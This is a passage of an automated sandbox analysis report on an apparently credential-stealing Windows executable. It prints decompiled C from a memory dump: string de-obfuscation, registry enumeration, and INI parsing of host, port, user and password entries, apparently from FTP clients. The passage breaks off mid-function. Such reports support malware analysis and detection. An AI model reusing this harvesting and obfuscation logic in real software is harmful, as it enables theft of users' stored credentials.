0x004103ea
0x004103ec
0x004103ec
0x004103f2
0x00410408
0x00410408
0x0041040a
0x0041040e
0x0041040e
0x00410418

APIs

LoadLibraryA.KERNEL32(urlmon.dll,00000000), ref: 004103A9
GetProcAddress.KERNEL32(00000000,ObtainUserAgentString), ref: 004103BC
FreeLibrary.KERNEL32(?), ref: 0041040E

Strings

urlmon.dll, xrefs: 004103A2
ObtainUserAgentString, xrefs: 004103B6

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$AddressFreeLoadProc
String ID: ObtainUserAgentString$urlmon.dll
API String ID: 145871493-2685262326
Opcode ID: f90eba4c7adbfd4d79fe0ea02dd69cabe32e5d3a2e95c573fd0e03fdc58c6544
Instruction ID: 3c89a1ce48efe4309f96964d7df3bbf91ff71759394b9637905675b63bbeb10d
Opcode Fuzzy Hash: f90eba4c7adbfd4d79fe0ea02dd69cabe32e5d3a2e95c573fd0e03fdc58c6544
Instruction Fuzzy Hash: 24018871D44219BBCB109FE89D845DE7BBC9B04300F2045BAA711F3291D6748F858668

Uniqueness

Uniqueness Score: -1.00%

Function 0040FA3C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040FA3C() {
				signed int _v8;
				short _v36;
				intOrPtr* _t13;
				struct HINSTANCE__* _t15;

				_v8 = _v8 & 0x00000000;
				lstrcpyW( &_v36, L"mgtpgn540fnn");
				_t13 =  &_v36;
				if(_v36 != 0) {
					do {
						 *_t13 =  *_t13 + 0xfffe;
						_t13 = _t13 + 2;
					} while ( *_t13 != 0);
				}
				_t15 = GetModuleHandleW( &_v36);
				if(_t15 == 0) {
					L6:
					return _t15 & 0xffffff00 | _v8 != 0x00000000;
				} else {
					_t15 = GetProcAddress(_t15, "IsWow64Process");
					if(_t15 == 0) {
						goto L6;
					} else {
						_t15 = _t15->i(0xffffffff,  &_v8);
						if(_t15 != 0) {
							goto L6;
						} else {
							return 0;
						}
					}
				}
			}

0x0040fa42
0x0040fa4f
0x0040fa5a
0x0040fa5d
0x0040fa5f
0x0040fa64
0x0040fa67
0x0040fa6a
0x0040fa5f
0x0040fa74
0x0040fa7c
0x0040fa9e
0x0040faa6
0x0040fa7e
0x0040fa84
0x0040fa8c
0x00000000
0x0040fa8e
0x0040fa94
0x0040fa98
0x00000000
0x0040fa9a
0x0040fa9d
0x0040fa9d
0x0040fa98
0x0040fa8c

APIs

lstrcpyW.KERNEL32(00000000,mgtpgn540fnn), ref: 0040FA4F
GetModuleHandleW.KERNEL32(00000000), ref: 0040FA74
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0040FA84

Strings

IsWow64Process, xrefs: 0040FA7E
mgtpgn540fnn, xrefs: 0040FA46

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleModuleProclstrcpy
String ID: IsWow64Process$mgtpgn540fnn
API String ID: 1748026284-2312658963
Opcode ID: 4bc3e7e723d8f46d09b26ede2cc1b80b1700138ffbc1b41f67ceb1bad5b85e3e
Instruction ID: c31e36b48f232ff45439c163e539c0d87fad2349f021f6f3dbf042210b4e4142
Opcode Fuzzy Hash: 4bc3e7e723d8f46d09b26ede2cc1b80b1700138ffbc1b41f67ceb1bad5b85e3e
Instruction Fuzzy Hash: 28F03C31A00209ABDF20DBE0CD4ABAA73BCAB14755F144675D005F25D1E7BCDA488A69

Uniqueness

Uniqueness Score: -1.00%

Function 00417DE2, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00417DE2(intOrPtr _a4, intOrPtr _a12) {
				void* __esi;
				void* _t6;
				signed int _t7;
				intOrPtr _t9;

				if(_a12 == 0x64 || _a12 == 0x33) {
					EnterCriticalSection(0x42384c);
					_t7 = E004177A9(_a4);
					if(_t7 != 0xffffffff) {
						_t9 =  *0x423864; // 0x0
						_t7 = SetEvent( *(_t7 * 0x24 + _t9 + 4));
					}
					LeaveCriticalSection(0x42384c);
					return _t7;
				}
				return _t6;
			}

0x00417de7
0x00417df8
0x00417e02
0x00417e0a
0x00417e0c
0x00417e19
0x00417e19
0x00417e20
0x00000000
0x00417e27
0x00417e28

APIs

EnterCriticalSection.KERNEL32(0042384C), ref: 00417DF8
SetEvent.KERNEL32(?), ref: 00417E19
LeaveCriticalSection.KERNEL32(0042384C), ref: 00417E20

Strings

L8B, xrefs: 00417DF2
3, xrefs: 00417DE9

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterEventLeave
String ID: 3$L8B
API String ID: 3094578987-4181648833
Opcode ID: 6b09ff0a9732d1bf12fbd795956bb3ff1634ce520bc1b77ddb8bbd467c54e8bb
Instruction ID: 4798134b058b2a3d18656dffafc4053bb6aec6fb6039c7e4a029dc8dd4816879
Opcode Fuzzy Hash: 6b09ff0a9732d1bf12fbd795956bb3ff1634ce520bc1b77ddb8bbd467c54e8bb
Instruction Fuzzy Hash: A8E0ED35108200ABC7206B25AD498ABBBB5EA95326705867EF116A7171C7388C928E5A

Uniqueness

Uniqueness Score: -1.00%

Function 0041A82B, Relevance: 7.7, APIs: 5, Instructions: 202
registryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0041A82B(char* __ecx, void* __eflags) {
				int _v8;
				void* _v12;
				signed int _v16;
				char* _v20;
				intOrPtr _v24;
				int _v28;
				intOrPtr _v32;
				char _v36;
				void* _v40;
				intOrPtr _v44;
				char* _v48;
				char _v60;
				char _v80;
				char _v100;
				char _v120;
				char _v152;
				char _v216;
				char _v284;
				short _v804;
				void* __edi;
				void* __esi;
				intOrPtr _t70;
				int _t102;
				int _t110;
				int _t114;
				void* _t115;
				signed int _t117;
				void* _t119;
				intOrPtr _t121;
				void* _t124;
				intOrPtr _t127;
				int _t134;
				intOrPtr _t136;
				char* _t138;
				char* _t141;
				signed int _t145;
				void* _t146;
				void* _t147;

				_t129 = __ecx;
				_t70 = E0040E205(0xc08);
				_t127 = _t70;
				_t134 = 0;
				_v24 = _t127;
				if(_t127 == 0) {
					return _t70;
				} else {
					E00407384(0x83,  &_v216);
					_t141 =  &_v284;
					E00407384(0x84, _t141);
					_v48 =  &_v216;
					_v44 = _t141;
					E0040E2E8( &_v36,  &_v36, 0, 8);
					E00407384(0x85,  &_v120);
					E00407384(0x86,  &_v100);
					E00407384(0x87,  &_v60);
					_t145 =  &_v80;
					E00407384(0x88, _t145);
					_t12 = _t127 + 0x3fc; // 0x3fc
					_v20 = _t12;
					_v16 = 0;
					do {
						if(RegOpenKeyExW(0x80000001,  *(_t146 + _v16 * 4 - 0x2c), _t134, 8,  &_v12) != 0) {
							goto L22;
						}
						_v28 = _t134;
						_v8 = 0x104;
						if(RegEnumKeyExW(_v12, _t134,  &_v804,  &_v8, _t134, _t134, _t134, _t134) != 0) {
							L21:
							RegCloseKey(_v12);
							goto L22;
						} else {
							goto L4;
						}
						do {
							L4:
							_t136 = _v24;
							_v28 = _v28 + 1;
							_t102 = E004124EB(_v12, _t129, _t136,  &_v804,  &_v120, 0xff);
							_t145 = _t145 | 0xffffffff;
							_v8 = _t102;
							if(_t102 != _t145 && _t102 != 0) {
								_t137 = _t136 + 0x1fe;
								_t110 = E004124EB(_v12, _t129, _t136 + 0x1fe,  &_v804,  &_v100, 0xff);
								_v8 = _t110;
								if(_t110 == _t145 || _t110 == 0) {
									_t114 = E004124EB(_v12, _t129, _t137,  &_v804,  &_v60, 0xff);
									_v8 = _t114;
									if(_t114 == _t145 || _t114 == 0) {
										goto L19;
									} else {
										goto L10;
									}
								} else {
									L10:
									_t115 = _v12;
									_t129 =  &_v804;
									_v40 = _t115;
									if(RegOpenKeyExW(_t115,  &_v804, 0, 1,  &_v40) != 0) {
										_t117 = _t145;
									} else {
										_t145 =  &_v40;
										_t117 = E00412613(_t145,  &_v80, _t116, _v20, 0xff);
									}
									_v8 = _t117;
									if(_t117 != 0xffffffff && _t117 != 0) {
										_t138 = _v20;
										if(E0041A7D1(_t138) > 0) {
											_t145 =  &_v152;
											_t119 = 0x56;
											E00407384(_t119, _t145);
											_t121 = _v24;
											_push(_t121);
											_t129 = _t138;
											_push(_t129);
											_push(_t121 + 0x1fe);
											_t51 = _t129 + 0x1fe; // 0x1fe
											_t124 = E0040EF28(_t145, 0x307, _t51, _t145);
											_t147 = _t147 + 0x10;
											if(_t124 > 0) {
												_t129 =  &_v36;
												if(E0040E629(_t124,  &_v36, _v20 + 0x1fe) != 0) {
													_v32 = _v32 + 1;
												}
											}
										}
									}
									goto L19;
								}
							}
							L19:
							_v8 = 0x104;
						} while (RegEnumKeyExW(_v12, _v28,  &_v804,  &_v8, 0, 0, 0, 0) == 0);
						_t134 = 0;
						goto L21;
						L22:
						_v16 = _v16 + 1;
					} while (_v16 < 2);
					E0040E235(_v24);
					if(_v32 <= _t134) {
						return E0040E235(_v36);
					}
					return E00418783(0x307, _v36, 0xcb);
				}
			}

0x0041a82b
0x0041a83c
0x0041a841
0x0041a843
0x0041a845
0x0041a84a
0x0041aaa3
0x0041a850
0x0041a85b
0x0041a860
0x0041a86b
0x0041a876
0x0041a87d
0x0041a885
0x0041a892
0x0041a89f
0x0041a8ac
0x0041a8b1
0x0041a8b9
0x0041a8be
0x0041a8c4
0x0041a8c7
0x0041a8cf
0x0041a8ea
0x00000000
0x00000000
0x0041a903
0x0041a906
0x0041a915
0x0041aa60
0x0041aa63
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a91b
0x0041a91b
0x0041a91b
0x0041a91e
0x0041a930
0x0041a935
0x0041a938
0x0041a93d
0x0041a95a
0x0041a960
0x0041a965
0x0041a96a
0x0041a97f
0x0041a984
0x0041a989
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a997
0x0041a997
0x0041a997
0x0041a9a2
0x0041a9aa
0x0041a9b5
0x0041a9ca
0x0041a9b7
0x0041a9bb
0x0041a9c3
0x0041a9c3
0x0041a9cc
0x0041a9d2
0x0041a9d8
0x0041a9e2
0x0041a9e6
0x0041a9ec
0x0041a9ed
0x0041a9f2
0x0041a9f5
0x0041a9f6
0x0041a9f8
0x0041a9fe
0x0041aa07
0x0041aa0d
0x0041aa12
0x0041aa17
0x0041aa23
0x0041aa2d
0x0041aa2f
0x0041aa2f
0x0041aa2d
0x0041aa17
0x0041a9e2
0x00000000
0x0041a9d2
0x0041a96a
0x0041aa32
0x0041aa46
0x0041aa56
0x0041aa5e
0x00000000
0x0041aa69
0x0041aa69
0x0041aa6c
0x0041aa79
0x0041aa81
0x00000000
0x0041aa9a
0x00000000
0x0041aa90

APIs

RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?,?,00000000,00000008,?,00000000,00000001), ref: 0041A8E2
RegEnumKeyExW.ADVAPI32 ref: 0041A90D
RegCloseKey.ADVAPI32(?,?,00000000,00000001), ref: 0041AA63

Part of subcall function 004124EB: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00000001,00000000,00000104,00000000,?,?,0041C39E,?,?,00000104,.exe,00000000), ref: 00412500

RegEnumKeyExW.ADVAPI32 ref: 0041AA50

Part of subcall function 004124EB: ExpandEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,0041C39E,?,?,00000104), ref: 00412581

RegOpenKeyExW.ADVAPI32(?,?,00000000,00000001,?,?,?,000000FF,?,?,000000FF,?,?,000000FF,?,00000000), ref: 0041A9AD

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$Enum$CloseEnvironmentExpandStrings
String ID:
API String ID: 2343474859-0
Opcode ID: 9582be340c2f31325694551131f23c78e097c313f8ecea5884d5fe02503550a1
Instruction ID: 8b871f5dcfcede6bb50b0e56946f83b93dff374019a66608d1f82f5ea7623788
Opcode Fuzzy Hash: 9582be340c2f31325694551131f23c78e097c313f8ecea5884d5fe02503550a1
Instruction Fuzzy Hash: 35716C71D00119ABEB10DBE5CE45AEFB7BCEF48304F10406AA905F3291E638AE95CB65

Uniqueness

Uniqueness Score: -1.00%

Function 004198F1, Relevance: 7.7, APIs: 5, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004198F1(void* __ecx, signed char* __edx, void* __eflags, intOrPtr _a4) {
				short _v524;
				char _v564;
				short _v576;
				short _v588;
				short _v600;
				short _v608;
				WCHAR* _v612;
				WCHAR* _v616;
				WCHAR* _v620;
				WCHAR* _v624;
				WCHAR* _v628;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t51;
				WCHAR* _t54;
				WCHAR* _t56;
				void* _t57;
				void* _t59;
				void* _t61;
				void* _t63;
				long _t67;
				WCHAR* _t69;
				long _t77;
				long _t80;
				WCHAR* _t82;
				void* _t83;
				WCHAR* _t86;
				WCHAR* _t87;
				short* _t92;
				WCHAR* _t93;
				int _t102;
				WCHAR* _t107;
				intOrPtr _t114;
				signed int _t115;
				void* _t117;

				_t117 = (_t115 & 0xfffffff8) - 0x26c;
				if(E00413B62( &(__edx[0x2c]),  &_v524, __ecx) == 0) {
					L19:
					return 1;
				}
				_t120 =  *__edx & 0x00000010;
				if(( *__edx & 0x00000010) == 0) {
					_t107 = E0040E205(0x1fffe);
					_v612 = _t107;
					__eflags = _t107;
					if(_t107 == 0) {
						goto L19;
					}
					_t51 = GetPrivateProfileStringW(0, 0, 0, _t107, 0xffff,  &_v524);
					__eflags = _t51;
					if(_t51 == 0) {
						L18:
						E0040E235(_t107);
						goto L19;
					}
					_t9 =  &(_t51[0]); // 0x1
					_t54 = E0040F0E5(_t107, _t9);
					__eflags = _t54;
					if(_t54 == 0) {
						goto L18;
					}
					_t56 = E0040E205(0xc1c);
					_v620 = _t56;
					__eflags = _t56;
					if(_t56 != 0) {
						_t11 =  &(_t56[0xff]); // 0x1fe
						_t92 = _t11;
						_v624 = _t107;
						_v616 = _t92;
						_t57 = 0x5c;
						_t93 =  &(_t92[0xff]);
						__eflags = _t93;
						E00407384(_t57,  &_v608);
						_t59 = 0x5d;
						E00407384(_t59,  &_v588);
						_t61 = 0x5e;
						E00407384(_t61,  &_v576);
						_t63 = 0x5f;
						E00407384(_t63,  &_v600);
						do {
							_t67 = GetPrivateProfileStringW(_v624,  &_v608, 0, _v620, 0xff,  &_v524);
							__eflags = _t67;
							if(_t67 != 0) {
								_t102 = GetPrivateProfileIntW(_v624,  &_v588, 0x15,  &_v524);
								_t25 = _t102 - 1; // -1
								__eflags = _t25 - 0xfffe;
								if(_t25 <= 0xfffe) {
									_t77 = GetPrivateProfileStringW(_v624,  &_v576, 0, _v616, 0xff,  &_v524);
									__eflags = _t77;
									if(_t77 != 0) {
										_t80 = GetPrivateProfileStringW(_v624,  &_v600, 0, _t93, 0xff,  &_v524);
										__eflags = _t80;
										if(_t80 != 0) {
											_t82 = E004197E4(_v624, _t93);
											__eflags = _t82;
											if(_t82 > 0) {
												_t113 =  &_v564;
												_t83 = 0x55;
												E00407384(_t83,  &_v564);
												_push(_t102);
												_push(_v620);
												_push(_t93);
												_push(_v616);
												_t37 =  &(_t93[0xff]); // 0x1fe
												_t103 = _t37;
												_t86 = E0040EF28(_t113, 0x311, _t37, _t113);
												_t117 = _t117 + 0x14;
												__eflags = _t86;
												if(_t86 > 0) {
													_t114 = _a4;
													_t87 = E0040E629(_t86, _t114, _t103);
													__eflags = _t87;
													if(_t87 != 0) {
														_t39 = _t114 + 4;
														 *_t39 =  &(( *(_t114 + 4))[0]);
														__eflags =  *_t39;
													}
												}
											}
										}
									}
								}
							}
							_t69 = E0040F121(_v624, 1);
							_v628 = _t69;
							__eflags = _t69;
						} while (_t69 != 0);
						E0040E235(_v620);
						_t107 = _v616;
					}
					goto L18;
				} else {
					E00419897(_t120,  &_v524, _a4);
					goto L19;
				}
			}

0x004198f7
0x00419912
0x00419ad4
0x00419adc
0x00419adc
0x00419918
0x0041991b
0x00419939
0x0041993b
0x0041993f
0x00419941
0x00000000
0x00000000
0x00419958
0x0041995e
0x00419960
0x00419ace
0x00419acf
0x00000000
0x00419acf
0x00419966
0x0041996b
0x00419970
0x00419972
0x00000000
0x00000000
0x0041997d
0x00419982
0x00419986
0x00419988
0x0041998e
0x0041998e
0x00419996
0x0041999a
0x004199a2
0x004199a3
0x004199a3
0x004199a9
0x004199b4
0x004199b5
0x004199c0
0x004199c1
0x004199cc
0x004199cd
0x004199d2
0x004199ec
0x004199f2
0x004199f4
0x00419a10
0x00419a12
0x00419a15
0x00419a1a
0x00419a35
0x00419a3b
0x00419a3d
0x00419a51
0x00419a57
0x00419a59
0x00419a5f
0x00419a64
0x00419a66
0x00419a6a
0x00419a6e
0x00419a6f
0x00419a74
0x00419a75
0x00419a7b
0x00419a7c
0x00419a86
0x00419a86
0x00419a8c
0x00419a91
0x00419a94
0x00419a96
0x00419a98
0x00419a9e
0x00419aa3
0x00419aa5
0x00419aa7
0x00419aa7
0x00419aa7
0x00419aa7
0x00419aa5
0x00419a96
0x00419a66
0x00419a59
0x00419a3d
0x00419a1a
0x00419ab0
0x00419ab5
0x00419ab9
0x00419ab9
0x00419ac5
0x00419aca
0x00419aca
0x00000000
0x0041991d
0x00419925
0x00000000
0x00419925

APIs

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

GetPrivateProfileStringW.KERNEL32 ref: 00419958
GetPrivateProfileStringW.KERNEL32 ref: 004199EC
GetPrivateProfileIntW.KERNEL32 ref: 00419A0A
GetPrivateProfileStringW.KERNEL32 ref: 00419A35
GetPrivateProfileStringW.KERNEL32 ref: 00419A51

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: PrivateProfile$String$CombinePath
String ID:
API String ID: 2134968610-0
Opcode ID: d17e88dfac1f82a6c38c2de54f4fad881095e90a9e97a86f31925f38c2975ca0
Instruction ID: 7db410ade3cd136e11ac7a6c6c74268d7fdc83a16a2e826608bd228aa51357f3
Opcode Fuzzy Hash: d17e88dfac1f82a6c38c2de54f4fad881095e90a9e97a86f31925f38c2975ca0
Instruction Fuzzy Hash: 1151B231504346ABD7109F61CC15BEB77E8EF84784F04093EFA44A71A2D739ED498B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041421A, Relevance: 7.6, APIs: 5, Instructions: 113
fileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0041421A(void* __ecx, signed int __edx, void** __esi, long _a4) {
				char _v5;
				void _v16;
				struct _OVERLAPPED* _v24;
				struct _OVERLAPPED* _v28;
				signed int _v32;
				signed int _v36;
				void* _t29;
				signed int _t31;
				int _t37;
				int _t38;
				signed int _t40;
				int _t41;
				int _t43;
				intOrPtr _t46;
				void* _t47;
				signed int _t55;
				struct _OVERLAPPED* _t56;
				void** _t58;

				_t58 = __esi;
				_t55 = __edx;
				_t47 = __ecx;
				_t56 = 0;
				_v5 = 0;
				_t29 = CreateFileW(_a4, 0xc0000000, 1, 0, 4, 0x80, 0);
				 *__esi = _t29;
				if(_t29 != 0xffffffff) {
					_t31 = E00413617(_t47, _t29);
					_v36 = _t31;
					_v32 = _t55;
					if((_t31 & _t55) == 0xffffffff) {
						L4:
						CloseHandle( *_t58);
						 *_t58 =  *_t58 | 0xffffffff;
					} else {
						if((_t31 | _t55) == 0) {
							L18:
							_t58[2] = _t58[2] | 0xffffffff;
							_t25 =  &(_t58[3]);
							 *_t25 = _t58[3] | 0xffffffff;
							__eflags =  *_t25;
							_v5 = 1;
							E004135C7( *_t58, _t56, _t56, _t56);
						} else {
							_v28 = 0;
							_v24 = 0;
							if(ReadFile( *__esi,  &_v16, 5,  &_a4, 0) != 0) {
								while(1) {
									__eflags = _a4 - _t56;
									if(_a4 == _t56) {
										goto L18;
									}
									__eflags = _a4 - 5;
									if(_a4 != 5) {
										L16:
										_t37 = E004135C7( *_t58, _v28, _v24, _t56);
										__eflags = _t37;
										if(_t37 == 0) {
											goto L4;
										} else {
											_t38 = SetEndOfFile( *_t58);
											__eflags = _t38;
											if(_t38 == 0) {
												goto L4;
											} else {
												goto L18;
											}
										}
									} else {
										_t40 = _v16 ^ _t58[4];
										asm("adc edi, [ebp-0x14]");
										_t46 = _t40 + _v28 + 5;
										asm("adc edi, ecx");
										_v16 = _t40;
										__eflags = 0 - _v32;
										if(__eflags > 0) {
											L15:
											_t56 = 0;
											__eflags = 0;
											goto L16;
										} else {
											if(__eflags < 0) {
												L11:
												__eflags = _t40 - 0xa00000;
												if(_t40 > 0xa00000) {
													goto L15;
												} else {
													_t41 = E004135C7( *_t58, _t40, 0, 1);
													__eflags = _t41;
													if(_t41 == 0) {
														goto L4;
													} else {
														_v28 = _t46;
														_v24 = 0;
														_t43 = ReadFile( *_t58,  &_v16, 5,  &_a4, 0);
														__eflags = _t43;
														if(_t43 != 0) {
															_t56 = 0;
															__eflags = 0;
															continue;
														} else {
															goto L4;
														}
													}
												}
											} else {
												__eflags = _t46 - _v36;
												if(_t46 > _v36) {
													goto L15;
												} else {
													goto L11;
												}
											}
										}
									}
									goto L19;
								}
								goto L18;
							} else {
								goto L4;
							}
						}
					}
				}
				L19:
				return _v5;
			}

0x0041421a
0x0041421a
0x0041421a
0x00414222
0x00414237
0x0041423b
0x00414241
0x00414246
0x0041424d
0x00414256
0x00414259
0x0041425f
0x00414287
0x00414289
0x0041428f
0x00414261
0x00414263
0x0041432d
0x0041432d
0x00414331
0x00414331
0x00414331
0x0041433a
0x0041433e
0x00414269
0x00414277
0x0041427a
0x00414285
0x00414299
0x00414299
0x0041429c
0x00000000
0x00000000
0x004142a2
0x004142a6
0x00414307
0x00414310
0x00414315
0x00414317
0x00000000
0x0041431d
0x0041431f
0x00414325
0x00414327
0x00000000
0x00000000
0x00000000
0x00000000
0x00414327
0x004142a8
0x004142ab
0x004142b7
0x004142ba
0x004142bd
0x004142bf
0x004142c2
0x004142c5
0x00414305
0x00414305
0x00414305
0x00000000
0x004142c7
0x004142c7
0x004142ce
0x004142ce
0x004142d3
0x00000000
0x004142d5
0x004142db
0x004142e0
0x004142e2
0x00000000
0x004142e4
0x004142f3
0x004142f6
0x004142f9
0x004142ff
0x00414301
0x00414297
0x00414297
0x00000000
0x00414303
0x00000000
0x00414303
0x00414301
0x004142e2
0x004142c9
0x004142c9
0x004142cc
0x00000000
0x00000000
0x00000000
0x00000000
0x004142cc
0x004142c7
0x004142c5
0x00000000
0x004142a6
0x00000000
0x00000000
0x00000000
0x00000000
0x00414285
0x00414263
0x0041425f
0x00414343
0x00414349

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000004,00000080,00000000,00000000,00000000), ref: 0041423B

Part of subcall function 00413617: GetFileSizeEx.KERNEL32(RBA,RBA,?,?,?,00414252,00000000), ref: 00413623

ReadFile.KERNEL32(00000000,?,00000005,00000000,00000000,00000000), ref: 0041427D
CloseHandle.KERNEL32(?,00000000), ref: 00414289
ReadFile.KERNEL32(00000000,?,00000005,00000005,00000000,?,?,00000000,00000001), ref: 004142F9
SetEndOfFile.KERNEL32(?,?,?,?,00000000), ref: 0041431F

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Read$CloseCreateHandleSize
String ID:
API String ID: 1850650832-0
Opcode ID: 10f4c5fe0d52c18486f596be1bc70a71a26dbc4d496c28e50f782bc71a1d2d6b
Instruction ID: f611747fb91a3498e6d08988b7a7353fc3cadd1347c6d711fd1ca8c0ed3818df
Opcode Fuzzy Hash: 10f4c5fe0d52c18486f596be1bc70a71a26dbc4d496c28e50f782bc71a1d2d6b
Instruction Fuzzy Hash: 6141B270A00209AEDB248FA5CC45FEFBBF8EBC4764F10421AF5A1A6290D73859C1CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004062DD, Relevance: 7.6, APIs: 5, Instructions: 85
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062DD(void* __ebx, void* __ecx, void* __edx, void* __eflags) {
				void* _v8;
				long _v12;
				void* _v16;
				char _v32;
				void _v360;
				short _v880;
				void* __edi;
				void* __esi;
				void* _t18;
				void* _t25;
				void* _t26;
				long _t39;
				void* _t42;
				void* _t44;
				long _t47;

				_t48 =  &_v32;
				_t18 = 0x2b;
				_v16 = __edx;
				_t44 = __ecx;
				E00407384(_t18,  &_v32);
				if(E00413B62(_t48,  &_v880, _t44) == 0) {
					L11:
					return 1;
				}
				_t25 = CreateFileW( &_v880, 0x40000000, 1, 0, 2, 0x80, 0);
				_v8 = _t25;
				if(_t25 == 0xffffffff) {
					goto L11;
				}
				_t26 = 0x30;
				_t39 = 0;
				E0040734E(_t26,  &_v360);
				if(WriteFile(_v8,  &_v360, 0x146,  &_v12, 0) == 0 || _v12 != 0x146) {
					L9:
					FlushFileBuffers(_v8);
					CloseHandle(_v8);
					if(_t39 == 0) {
						E0041363E( &_v880);
					}
					goto L11;
				} else {
					_t42 = _v16;
					if(_t42 == 0) {
						L7:
						_t39 = 1;
						goto L9;
					}
					_t47 = E0040ED72(_t42);
					if(WriteFile(_v8, _t42, _t47,  &_v12, 0) == 0 || _v12 != _t47) {
						_t39 = 0;
						goto L9;
					} else {
						goto L7;
					}
				}
			}

0x004062ea
0x004062ed
0x004062ee
0x004062f1
0x004062f3
0x00406309
0x004063bf
0x004063c3
0x004063c3
0x00406328
0x0040632e
0x00406334
0x00000000
0x00000000
0x00406343
0x00406344
0x00406346
0x0040636a
0x0040639b
0x0040639e
0x004063a7
0x004063b0
0x004063b9
0x004063b9
0x00000000
0x00406371
0x00406371
0x00406376
0x00406395
0x00406395
0x00000000
0x00406395
0x0040637f
0x0040638e
0x00406399
0x00000000
0x00000000
0x00000000
0x00000000
0x0040638e

APIs

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?,?,00000000), ref: 00406328
WriteFile.KERNEL32(004062C5,?,00000146,?,00000000,00000000), ref: 00406366
WriteFile.KERNEL32(004062C5,?,00000000,?,00000000), ref: 0040638A
FlushFileBuffers.KERNEL32(004062C5), ref: 0040639E
CloseHandle.KERNEL32(004062C5), ref: 004063A7

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Write$BuffersCloseCombineCreateFlushHandlePath
String ID:
API String ID: 2459967240-0
Opcode ID: f45a40bb2a06bb4173667ddc096639fe4eceb3f32d2e51ed9dedeff0a98b3ac7
Instruction ID: a859c215ac0303798eaee666e011d4dcf101bbdf85ca5f2f611d174df6662a79
Opcode Fuzzy Hash: f45a40bb2a06bb4173667ddc096639fe4eceb3f32d2e51ed9dedeff0a98b3ac7
Instruction Fuzzy Hash: DA21BC72940118BBDF209FA59D05BDFBBBCAB44350F1040ABB902F3190D635AB51CAA4

Uniqueness

Uniqueness Score: -1.00%

Function 0041018F, Relevance: 7.6, APIs: 5, Instructions: 74
filesynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0041018F(intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, void* _a16) {
				char _v5;
				long _v12;
				struct _OVERLAPPED* _v16;
				void* _v20;
				long _v24;
				void* _t28;
				long _t37;
				void* _t41;

				_v5 = 0;
				_t41 = CreateFileW(_a8, 0x40000000, 1, 0, 2, 0x80, 0);
				if(_t41 == 0xffffffff) {
					L15:
					return _v5;
				}
				_t28 = E0040E205(0x1000);
				_v20 = _t28;
				if(_t28 == 0) {
					L13:
					CloseHandle(_t41);
					if(_v5 == 0) {
						E0041363E(_a8);
					}
					goto L15;
				}
				_v16 = 0;
				while(_a16 == 0 || WaitForSingleObject(_a16, 0) == 0x102) {
